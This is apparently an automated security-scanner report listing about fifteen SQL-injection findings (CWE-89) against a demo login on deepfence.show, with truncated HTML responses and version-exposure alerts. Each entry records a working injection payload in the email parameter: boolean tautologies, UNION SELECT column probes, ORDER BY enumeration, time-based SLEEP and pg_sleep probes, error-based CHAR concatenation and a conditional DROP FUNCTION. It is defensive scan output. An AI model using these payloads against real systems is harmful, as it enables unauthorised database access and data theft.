Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #591
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin' or 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #592
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 25--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #593
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin" or "1"="1"/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #594
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #595Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #596
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A
')),4,5,6,7,8--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #597
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin" or "1"="1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #598
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language=
"javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet"
src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-
bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- 
Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ
bWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQ
IoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #599
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #600
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #601
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io IF(7423=7423) SELECT 7423 ELSE DROP 
FUNCTION xcjl--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #602
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)+CHAR(113)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #603
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #604
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@deepfence.io ") or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #605
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(
88)+CHAR(88)+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
